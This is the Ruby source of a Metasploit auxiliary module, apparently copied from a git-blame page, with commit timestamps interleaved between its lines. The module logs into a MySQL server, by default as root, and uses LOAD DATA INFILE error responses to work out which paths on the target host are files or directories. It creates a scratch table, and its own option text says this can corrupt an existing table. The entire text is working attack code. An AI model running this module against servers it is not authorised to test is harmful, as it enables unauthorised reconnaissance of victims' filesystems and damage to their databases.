2013-01-19 22:48:00 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-19 22:48:00 +00:00
##
require 'yaml'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Auxiliary
2013-08-30 21:28:54 +00:00
include Msf :: Exploit :: Remote :: MYSQL
include Msf :: Auxiliary :: Report
include Msf :: Auxiliary :: Scanner
def initialize
super (
'Name' = > 'MYSQL File/Directory Enumerator' ,
'Description' = > %Q{
Enumerate files and directories using the MySQL load_file feature , for more
information see the URL in the references .
} ,
'Author' = > [ 'Robin Wood <robin[at]digininja.org>' ] ,
'References' = > [
[ 'URL' , 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ] ,
[ 'URL' , 'http://www.digininja.org/projects/mysql_file_enum.php' ]
] ,
'License' = > MSF_LICENSE
)
register_options ( [
OptPath . new ( 'FILE_LIST' , [ true , " List of directories to enumerate " , '' ] ) ,
OptString . new ( 'DATABASE_NAME' , [ true , " Name of database to use " , 'mysql' ] ) ,
OptString . new ( 'TABLE_NAME' , [ true , " Name of table to use - Warning, if the table already exists its contents will be corrupted " , Rex :: Text . rand_text_alpha ( 8 ) ] ) ,
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , " root " ] )
] )
end
# This function does not handle any errors, if you use this
# make sure you handle the errors yourself
def mysql_query_no_handle ( sql )
res = @mysql_handle . query ( sql )
res
end
def run_host ( ip )
2016-02-01 22:06:34 +00:00
vprint_status ( " Login... " )
2013-08-30 21:28:54 +00:00
if ( not mysql_login_datastore )
return
end
begin
mysql_query_no_handle ( " USE " + datastore [ 'DATABASE_NAME' ] )
rescue :: RbMysql :: Error = > e
2016-02-01 22:06:34 +00:00
vprint_error ( " MySQL Error: #{ e . class } #{ e . to_s } " )
2013-08-30 21:28:54 +00:00
return
rescue Rex :: ConnectionTimeout = > e
2016-02-01 22:06:34 +00:00
vprint_error ( " Timeout: #{ e . message } " )
2013-08-30 21:28:54 +00:00
return
end
res = mysql_query ( " SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = ' " + datastore [ 'DATABASE_NAME' ] + " ' AND TABLE_NAME = ' " + datastore [ 'TABLE_NAME' ] + " '; " )
table_exists = ( res . size == 1 )
if ! table_exists
2016-02-01 22:06:34 +00:00
vprint_status ( " Table doesn't exist so creating it " )
2013-08-30 21:28:54 +00:00
mysql_query ( " CREATE TABLE " + datastore [ 'TABLE_NAME' ] + " (brute int); " )
end
file = File . new ( datastore [ 'FILE_LIST' ] , " r " )
file . each_line do | line |
check_dir ( line . chomp )
end
file . close
if ! table_exists
2016-02-01 22:06:34 +00:00
vprint_status ( " Cleaning up the temp table " )
2013-08-30 21:28:54 +00:00
mysql_query ( " DROP TABLE " + datastore [ 'TABLE_NAME' ] )
end
end
def check_dir dir
begin
res = mysql_query_no_handle ( " LOAD DATA INFILE ' " + dir + " ' INTO TABLE " + datastore [ 'TABLE_NAME' ] )
rescue :: RbMysql :: TextfileNotReadable
2016-02-01 22:06:34 +00:00
print_good ( " #{ dir } is a directory and exists " )
2013-08-30 21:28:54 +00:00
report_note (
:host = > rhost ,
:type = > " filesystem.dir " ,
:data = > " #{ dir } is a directory and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
rescue :: RbMysql :: DataTooLong , :: RbMysql :: TruncatedWrongValueForField
2016-02-01 22:06:34 +00:00
print_good ( " #{ dir } is a file and exists " )
2013-08-30 21:28:54 +00:00
report_note (
:host = > rhost ,
:type = > " filesystem.file " ,
:data = > " #{ dir } is a file and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
rescue :: RbMysql :: ServerError
2016-02-01 22:06:34 +00:00
vprint_warning ( " #{ dir } does not exist " )
2013-08-30 21:28:54 +00:00
rescue :: RbMysql :: Error = > e
2016-02-01 22:06:34 +00:00
vprint_error ( " MySQL Error: #{ e . class } #{ e . to_s } " )
2013-08-30 21:28:54 +00:00
return
rescue Rex :: ConnectionTimeout = > e
2016-02-01 22:06:34 +00:00
vprint_error ( " Timeout: #{ e . message } " )
2013-08-30 21:28:54 +00:00
return
else
2016-02-01 22:06:34 +00:00
print_good ( " #{ dir } is a file and exists " )
2013-08-30 21:28:54 +00:00
report_note (
:host = > rhost ,
:type = > " filesystem.file " ,
:data = > " #{ dir } is a file and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
end
return
end
2013-01-19 22:48:00 +00:00
end